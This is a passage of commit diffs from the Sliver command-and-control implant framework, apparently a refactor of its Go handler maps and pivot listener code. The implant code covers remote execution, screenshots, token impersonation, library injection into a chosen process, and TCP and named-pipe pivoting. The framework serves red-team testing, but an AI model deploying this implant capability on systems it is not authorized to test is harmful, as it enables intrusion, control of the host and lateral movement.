signature.UntrustedComment = trimCarriageReturn(lines[0])
bin1, err := base64.StdEncoding.DecodeString(lines[1])
if err != nil || len(bin1) != 74 {
return signature, errors.New("invalid encoded signature")
}
signature.TrustedComment = trimCarriageReturn(lines[2])
bin2, err := base64.StdEncoding.DecodeString(lines[3])
if err != nil || len(bin2) != 64 {
return signature, errors.New("invalid encoded signature")
}
copy(signature.SignatureAlgorithm[:], bin1[0:2])
copy(signature.KeyId[:], bin1[2:10])
copy(signature.Signature[:], bin1[10:74])
copy(signature.GlobalSignature[:], bin2)
return signature, nil
}
// Verify - Verifies a signature of a buffer
func (publicKey *PublicKey) Verify(bin []byte, signature Signature) (bool, error) {
if publicKey.SignatureAlgorithm != [2]byte{'E', 'd'} {
return false, errors.New("incompatible signature algorithm")
}
prehashed := false
if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x64 {
prehashed = false
} else if signature.SignatureAlgorithm[0] == 0x45 && signature.SignatureAlgorithm[1] == 0x44 {
prehashed = true
} else {
return false, errors.New("unsupported signature algorithm")
}
if publicKey.KeyId != signature.KeyId {
return false, errors.New("incompatible key identifiers")
}
if !strings.HasPrefix(signature.TrustedComment, "trusted comment: ") {
return false, errors.New("unexpected format for the trusted comment")
}
if prehashed {
h, _ := blake2b.New512(nil)
h.Write(bin)
bin = h.Sum(nil)
}
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), bin, signature.Signature[:]) {
return false, errors.New("invalid signature")
}
if !ed25519.Verify(ed25519.PublicKey(publicKey.PublicKey[:]), append(signature.Signature[:], []byte(signature.TrustedComment)[17:]...), signature.GlobalSignature[:]) {
return false, errors.New("invalid global signature")
}
return true, nil
}
+8 -3
View File
@@ -27,9 +27,7 @@ import (
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
@@ -37,6 +35,13 @@ import (
"log"
// {{end}}
"os"
"path/filepath"
// {{if .Config.WGc2Enabled}}
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -134,7 +139,7 @@ func getDirList(target string) (string, []os.FileInfo, error) {
files, err := ioutil.ReadDir(dir)
return dir, files, err
}
return dir, []os.FileInfo{}, errors.New("directory does not exist")
return dir, []os.FileInfo{}, errors.New("Directory does not exist")
}
func rmHandler(data []byte, resp RPCResponse) {
+42 -34
View File
@@ -21,51 +21,54 @@ package handlers
import (
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
darwinHandlers = map[uint32]RPCHandler{
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgPsReq: psHandler,
pb.MsgTerminateReq: terminateHandler,
pb.MsgPing: pingHandler,
pb.MsgLsReq: dirListHandler,
pb.MsgDownloadReq: downloadHandler,
pb.MsgUploadReq: uploadHandler,
pb.MsgCdReq: cdHandler,
pb.MsgPwdReq: pwdHandler,
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
pb.MsgScreenshotReq: screenshotHandler,
sliverpb.MsgNetstatReq: netstatHandler,
pb.MsgSideloadReq: sideloadHandler,
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
pb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
// Extensions
pb.MsgRegisterExtensionReq: registerExtensionHandler,
pb.MsgCallExtensionReq: callExtensionHandler,
pb.MsgListExtensionsReq: listExtensionsHandler,
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
sliverpb.MsgCallExtensionReq: callExtensionHandler,
sliverpb.MsgListExtensionsReq: listExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
pb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
pb.MsgWGStartSocksReq: wgStartSocksHandler,
pb.MsgWGStopSocksReq: wgStopSocksHandler,
pb.MsgWGListSocksReq: wgListSocksServersHandler,
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
sliverpb.MsgWGListForwardersReq: wgListTCPForwardersHandler,
sliverpb.MsgWGStartSocksReq: wgStartSocksHandler,
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
// {{end}}
}
darwinPivotHandlers = map[uint32]PivotHandler{}
)
// GetSystemHandlers - Returns a map of the darwin system handlers
@@ -73,10 +76,15 @@ func GetSystemHandlers() map[uint32]RPCHandler {
return darwinHandlers
}
// GetSystemPivotHandlers - Returns a map of the darwin system handlers
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return darwinPivotHandlers
}
// Extensions
func registerExtensionHandler(data []byte, resp RPCResponse) {
registerReq := &pb.RegisterExtensionReq{}
registerReq := &sliverpb.RegisterExtensionReq{}
err := proto.Unmarshal(data, registerReq)
if err != nil {
@@ -86,7 +94,7 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
extension.Add(ext)
err = ext.Load()
registerResp := &pb.RegisterExtension{
registerResp := &sliverpb.RegisterExtension{
Response: &commonpb.Response{},
}
if err != nil {
@@ -97,14 +105,14 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
}
func callExtensionHandler(data []byte, resp RPCResponse) {
callReq := &pb.CallExtensionReq{}
callReq := &sliverpb.CallExtensionReq{}
err := proto.Unmarshal(data, callReq)
if err != nil {
return
}
callResp := &pb.CallExtension{
callResp := &sliverpb.CallExtension{
Response: &commonpb.Response{},
}
gotOutput := false
@@ -125,14 +133,14 @@ func callExtensionHandler(data []byte, resp RPCResponse) {
}
func listExtensionsHandler(data []byte, resp RPCResponse) {
lstReq := &pb.ListExtensionsReq{}
lstReq := &sliverpb.ListExtensionsReq{}
err := proto.Unmarshal(data, lstReq)
if err != nil {
return
}
exts := extension.List()
lstResp := &pb.ListExtensions{
lstResp := &sliverpb.ListExtensions{
Response: &commonpb.Response{},
Names: exts,
}
@@ -57,3 +57,8 @@ func GetSystemHandlers() map[uint32]RPCHandler {
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return map[uint32]PivotHandler{}
}
// GetPivotHandlers - Not supported
func GetPivotHandlers() map[uint32]PivotHandler {
return map[uint32]PivotHandler{}
}
+40
View File
@@ -19,7 +19,14 @@ package handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
@@ -48,6 +55,7 @@ var (
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgLibInjectReq: libInjectHandler,
// {{if .Config.WGc2Enabled}}
// Wireguard specific
@@ -59,9 +67,41 @@ var (
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
// {{end}}
}
linuxPivotHandlers = map[uint32]PivotHandler{}
)
// GetSystemHandlers - Returns a map of the linux system handlers
func GetSystemHandlers() map[uint32]RPCHandler {
return linuxHandlers
}
// GetSystemPivotHandlers - Returns a map of the linux system handlers
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return linuxPivotHandlers
}
func libInjectHandler(data []byte, resp RPCResponse) {
injectReq := &sliverpb.LibInjectReq{}
err := proto.Unmarshal(data, injectReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %s", err)
// {{end}}
return
}
err = taskrunner.LibTask(int(injectReq.Pid), injectReq.Data)
injectRes := sliverpb.LibInject{
Response: &commonpb.Response{},
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to inject lib %s\n", err)
// {{end}}
injectRes.Response.Err = err.Error()
}
data, err = proto.Marshal(&injectRes)
resp(data, err)
}
@@ -33,10 +33,12 @@ import (
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/priv"
"github.com/bishopfox/sliver/implant/sliver/registry"
"github.com/bishopfox/sliver/implant/sliver/service"
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -108,6 +110,10 @@ var (
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
// {{end}}
}
windowsPivotHandlers = map[uint32]PivotHandler{
sliverpb.MsgNamedPipesReq: namedPipeListenerHandler,
}
)
// GetSystemHandlers - Returns a map of the windows system handlers
@@ -115,6 +121,11 @@ func GetSystemHandlers() map[uint32]RPCHandler {
return windowsHandlers
}
// GetSystemPivotHandlers - Returns a map of the windows system handlers
func GetSystemPivotHandlers() map[uint32]PivotHandler {
return windowsPivotHandlers
}
// ---------------- Windows Handlers ----------------
func impersonateHandler(data []byte, resp RPCResponse) {
@@ -363,6 +374,50 @@ func spawnDllHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func namedPipeListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
namedPipeReq := &sliverpb.NamedPipesReq{}
err := proto.Unmarshal(envelope.Data, namedPipeReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
namedPipeResp := &sliverpb.NamedPipes{
Success: false,
Response: &commonpb.Response{Err: err.Error()},
}
data, _ := proto.Marshal(namedPipeResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
return
}
err = pivots.StartNamedPipeListener(namedPipeReq.GetPipeName())
if err != nil {
// {{if .Config.Debug}}
log.Printf("error with listener: %s", err.Error())
// {{end}}
namedPipeResp := &sliverpb.NamedPipes{
Success: false,
Response: &commonpb.Response{Err: err.Error()},
}
data, _ := proto.Marshal(namedPipeResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
return
}
namedPipeResp := &sliverpb.NamedPipes{
Success: true,
}
data, _ := proto.Marshal(namedPipeResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
}
func makeTokenHandler(data []byte, resp RPCResponse) {
makeTokenReq := &sliverpb.MakeTokenReq{}
err := proto.Unmarshal(data, makeTokenReq)
+101 -90
View File
@@ -1,21 +1,24 @@
//go:build windows || linux || darwin
// +build windows linux darwin
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
@@ -26,16 +29,15 @@ import (
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericPivotHandlers = map[uint32]PivotHandler{
pb.MsgPivotListenersReq: pivotListenersHandler,
pb.MsgPivotStartListenerReq: pivotStartListenerHandler,
pb.MsgPivotStopListenerReq: pivotStopListenerHandler,
pb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
sliverpb.MsgPivotData: pivotDataHandler,
sliverpb.MsgTCPPivotReq: tcpListenerHandler,
sliverpb.MsgPivotListReq: pivotListHandler,
}
)
@@ -44,88 +46,97 @@ func GetPivotHandlers() map[uint32]PivotHandler {
return genericPivotHandlers
}
func pivotListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
data, _ := proto.Marshal(&pb.PivotListeners{
Listeners: pivots.GetListeners(),
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
func pivotListHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
listReq := &sliverpb.PivotListReq{}
listResp := &sliverpb.PivotList{
Response: &commonpb.Response{},
}
err := proto.Unmarshal(envelope.Data, listReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
listResp.Response.Err = err.Error()
data, _ := proto.Marshal(listResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
listeners := pivots.GetListeners()
entries := make([]*sliverpb.PivotEntry, 0)
for _, entry := range listeners {
entries = append(entries, &sliverpb.PivotEntry{
Type: entry.Type,
Remote: entry.RemoteAddress,
})
}
listResp.Entries = entries
data, _ := proto.Marshal(listResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.PivotStartListenerReq{}
resp := &pb.PivotListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
func tcpListenerHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tcpPivot := &sliverpb.TCPPivotReq{}
err := proto.Unmarshal(envelope.Data, tcpPivot)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := startListener(req.BindAddress, connection.Send)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
pivots.AddListener(listener)
data, _ := proto.Marshal(listener.ToProtobuf())
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
} else {
resp.Response.Err = "Unsupported pivot listener type"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
}
func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.PivotStopListenerReq{}
resp := &pb.PivotListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
pivots.StopListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
}
}
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
sent := pivots.SendToPeer(envelope)
if !sent {
// {{if .Config.Debug}}
log.Printf("Send to peer failed, report peer failure upstream ...")
log.Printf("error decoding message: %v", err)
// {{end}}
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
tcpPivotResp := &sliverpb.TCPPivot{
Success: false,
Response: &commonpb.Response{Err: err.Error()},
}
data, _ := proto.Marshal(tcpPivotResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
return
}
err = pivots.StartTCPListener(tcpPivot.Address)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
tcpPivotResp := &sliverpb.TCPPivot{
Success: false,
Response: &commonpb.Response{Err: err.Error()},
}
data, _ := proto.Marshal(tcpPivotResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
return
}
tcpResp := &sliverpb.TCPPivot{
Success: true,
}
data, _ := proto.Marshal(tcpResp)
connection.Send <- &sliverpb.Envelope{
ID: envelope.GetID(),
Data: data,
}
}
func pivotDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
pivData := &sliverpb.PivotData{}
proto.Unmarshal(envelope.Data, pivData)
origData := &sliverpb.Envelope{}
proto.Unmarshal(pivData.Data, origData)
pivotConn := pivots.Pivot(pivData.GetPivotID())
if pivotConn != nil {
// pivots.PivotWriteEnvelope(pivotConn, origData)
} else {
// {{if .Config.Debug}}
log.Printf("[pivotDataHandler] PivotID %d not found\n", pivData.GetPivotID())
// {{end}}
}
}
+112 -48
View File
@@ -19,41 +19,41 @@ package pivots
*/
import (
"sync"
// {{if .Config.Debug}}
"log"
// "log"
// {{end}}
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/lesnuages/go-winio"
// "math/rand"
"net"
// "os"
// "strings"
// "time"
// "github.com/bishopfox/sliver/implant/sliver/transports"
// "github.com/bishopfox/sliver/protobuf/sliverpb"
// "github.com/lesnuages/go-winio"
// "google.golang.org/protobuf/proto"
)
// StartNamedPipePivotListener - Starts a named pipe listener
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on %s", fullName)
// {{end}}
if err != nil {
return nil, err
}
pivotLn := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
func StartNamedPipeListener(pipeName string) error {
// fullName := "\\\\.\\pipe\\" + pipeName
// config := &winio.PipeConfig{
// RemoteClientMode: true,
// }
// ln, err := winio.ListenPipe(fullName, config)
// // {{if .Config.Debug}}
// log.Printf("Listening on %s", fullName)
// // {{end}}
// if err != nil {
// return err
// }
// pivotListeners = append(pivotListeners, &PivotListener{
// Type: "named-pipe",
// RemoteAddress: fullName,
// })
// go nampedPipeAcceptNewConnection(&ln)
return nil
}
func namedPipeAcceptConnections(pivotListener *PivotListener) {
func nampedPipeAcceptNewConnection(ln *net.Listener) {
// hostname, err := os.Hostname()
// if err != nil {
// // {{if .Config.Debug}}
@@ -61,23 +61,87 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
// // {{end}}
// hostname = "."
// }
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
continue
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
}
// namedPipe := strings.ReplaceAll((*ln).Addr().String(), ".", hostname)
// for {
// conn, err := (*ln).Accept()
// if err != nil {
// continue
// }
// pivotID := rand.Uint32()
// pivotsMap.AddPivot(pivotID, &conn, "named-pipe", namedPipe)
// //SendPivotOpen(pivotID, "named-pipe", namedPipe)
// // {{if .Config.Debug}}
// log.Println("Accepted a new connection")
// // {{end}}
// // handle connection like any other net.Conn
// go nampedPipeConnectionHandler(&conn, pivotID)
// }
}
func nampedPipeConnectionHandler(conn *net.Conn, pivotID uint32) {
// defer func() {
// // {{if .Config.Debug}}
// log.Printf("Cleaning up for pivot %d\n", pivotID)
// // {{end}}
// (*conn).Close()
// pivotClose := &sliverpb.PivotClose{
// PivotID: pivotID,
// }
// data, err := proto.Marshal(pivotClose)
// if err != nil {
// // {{if .Config.Debug}}
// log.Println(err)
// // {{end}}
// return
// }
// connection := transports.GetActiveConnection()
// if connection.IsOpen {
// connection.Send <- &sliverpb.Envelope{
// Type: sliverpb.MsgPivotClose,
// Data: data,
// }
// }
// }()
// for {
// envelope, err := PivotReadEnvelope(conn)
// if err != nil {
// // {{if .Config.Debug}}
// log.Println(err)
// // {{end}}
// return
// }
// dataBuf, err1 := proto.Marshal(envelope)
// if err1 != nil {
// // {{if .Config.Debug}}
// log.Println(err1)
// // {{end}}
// return
// }
// pivotOpen := &sliverpb.PivotData{
// PivotID: pivotID,
// Data: dataBuf,
// }
// connection := transports.GetActiveConnection()
// if envelope.Type == 1 {
// SendPivotOpen(pivotID, dataBuf, connection)
// continue
// }
// data2, err2 := proto.Marshal(pivotOpen)
// if err2 != nil {
// // {{if .Config.Debug}}
// log.Println(err2)
// // {{end}}
// return
// }
// if connection.IsOpen {
// connection.Send <- &sliverpb.Envelope{
// Type: sliverpb.MsgPivotData,
// Data: data2,
// }
// }
// }
}
+150 -369
View File
@@ -2,7 +2,7 @@ package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,368 +19,203 @@ package pivots
*/
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"bytes"
"encoding/binary"
"net"
"sync"
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
readBufSize = 1024
writeBufSize = 1024
)
var (
ErrFailedWrite = errors.New("failed to write")
ErrFailedKeyExchange = errors.New("failed key exchange")
pivotListeners = &sync.Map{}
listenerID = uint32(0)
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
)
// StartListener - Generic interface to a start listener function
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
listeners := []*pb.PivotListener{}
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
listeners = append(listeners, listener.ToProtobuf())
return true
})
return listeners
// pivotsMap - holds the pivots, provides atomic access
var pivotsMap = &PivotsMap{
Pivots: &map[uint32]*pivotsMapEntry{},
mutex: &sync.RWMutex{},
}
// AddListener - Add a listener
func AddListener(listener *PivotListener) {
pivotListeners.Store(listener.ID, listener)
var pivotListeners = make([]*PivotListener, 0)
type pivotsMapEntry struct {
Conn *net.Conn
PivotType string
RemoteAddress string
Register []byte
}
// StopListener - Stop a pivot listener
func StopListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
listener.(*PivotListener).Stop()
}
// PivotsMap - struct that defines de pivots, provides atomic access
type PivotsMap struct {
mutex *sync.RWMutex
Pivots *map[uint32]*pivotsMapEntry
}
// SendToPeer - Forward an envelope to a peer
func SendToPeer(envelope *pb.Envelope) bool {
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal peer envelope: %s", err)
// {{end}}
return false
}
// {{if .Config.Debug}}
log.Printf("Peer Envelope: %v", peerEnvelope)
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
// {{end}}
downstreamEnvelope := &pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelope.Data,
}
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal downstream envelope: %s", err)
// {{end}}
return false
}
// NOTE: Yes linear search is bad, but there should be a very small
// number of listeners and pivots so it should be fine
sent := false // Controls iteration of outer loop
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
if pivot.ID() == peerEnvelope.PivotID {
pivot.Downstream <- downstreamEnvelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return true // keep iterating inner loop
})
return !sent // keep iterating while not sent
})
// {{if .Config.Debug}}
if !sent {
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
}
// {{end}}
return sent
}
// PivotListener - A pivot listener
type PivotListener struct {
ID uint32
Type pb.PivotType
Listener net.Listener
Pivots *sync.Map // ID -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
Type string
RemoteAddress string
}
// ToProtobuf - Get the protobuf version of the pivot listener
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
pivotPeers := []*pb.PivotPeer{}
l.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
return true
})
return &pb.PivotListener{
ID: l.ID,
Type: l.Type,
BindAddress: l.BindAddress,
Pivots: pivotPeers,
func GetListeners() []*PivotListener {
return pivotListeners
}
// Pivot - Get Pivot by ID
func (p *PivotsMap) Pivot(pivotID uint32) *pivotsMapEntry {
p.mutex.Lock()
defer p.mutex.Unlock()
return (*p.Pivots)[pivotID]
}
// AddPivot - Add a pivot to the map (atomically)
func (p *PivotsMap) AddPivot(pivotID uint32, conn *net.Conn, t, addr string) {
p.mutex.Lock()
defer p.mutex.Unlock()
entry := pivotsMapEntry{
Conn: conn,
PivotType: t,
RemoteAddress: addr,
}
(*p.Pivots)[pivotID] = &entry
}
// RemovePivot - Add a pivot to the map (atomically)
func (p *PivotsMap) RemovePivot(pivotID uint32) {
p.mutex.Lock()
defer p.mutex.Unlock()
delete((*p.Pivots), pivotID)
}
func Pivot(pivotID uint32) *net.Conn {
return pivotsMap.Pivot(pivotID).Conn
}
// ReconnectActivePivots - Send a new PivotOpen message back to the server for each alive pivot
func ReconnectActivePivots(connection *transports.Connection) {
// {{if .Config.Debug}}
log.Println("Reconnecting active pivots...")
// {{end}}
for k, v := range *pivotsMap.Pivots {
SendPivotOpen(k, (*v).Register, connection)
}
}
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
// Close all peer connections before closing listener
l.Pivots.Range(func(key interface{}, value interface{}) bool {
value.(*NetConnPivot).Close()
return true
})
l.Pivots = nil
l.Listener.Close()
// SendPivotOpen - Sends a PivotOpen message back to the server
func SendPivotOpen(pivotID uint32, registerMsg []byte, connection *transports.Connection) {
// pivotsMap.Pivot(pivotID).Register = registerMsg
// pivot := pivotsMap.Pivot(pivotID)
// pivotOpen := &sliverpb.PivotOpen{
// PivotID: pivotID,
// PivotType: pivot.PivotType,
// RemoteAddress: pivot.RemoteAddress,
// RegisterMsg: registerMsg,
// }
// data, err := proto.Marshal(pivotOpen)
// if err != nil {
// // {{if .Config.Debug}}
// log.Println(err)
// // {{end}}
// return
// }
// // W T F!!!!!
// if connection.IsOpen {
// connection.Send <- &sliverpb.Envelope{
// Type: sliverpb.MsgPivotOpen,
// Data: data,
// }
// } else {
// // {{if .Config.Debug}}
// log.Println("Connection is not open...")
// // {{end}}
// }
}
// PivotClose - Close a pivot connection
func (l *PivotListener) PivotClose(id int64) {
if p, ok := l.Pivots.Load(id); ok {
l.Pivots.Delete(id)
p.(*NetConnPivot).Close()
// SendPivotClose - Sends a PivotClose message back to the server
func SendPivotClose(pivotID uint32, err error, connection *transports.Connection) {
pivotClose := &sliverpb.PivotClose{
PivotID: pivotID,
Err: err.Error(),
}
}
// ListenerID - Generate a new pivot id
func ListenerID() uint32 {
listenerID++
return listenerID
}
// PivotID - Generate a new pivot id
func PivotID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivot - A generic pivot connection to a peer via net.Conn
type NetConnPivot struct {
id int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
upstream chan<- *pb.Envelope
Downstream chan *pb.Envelope
}
// ID - ID of peer pivot
func (p *NetConnPivot) ID() int64 {
return p.id
}
// ToProtobuf - Protobuf of pivot peer
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
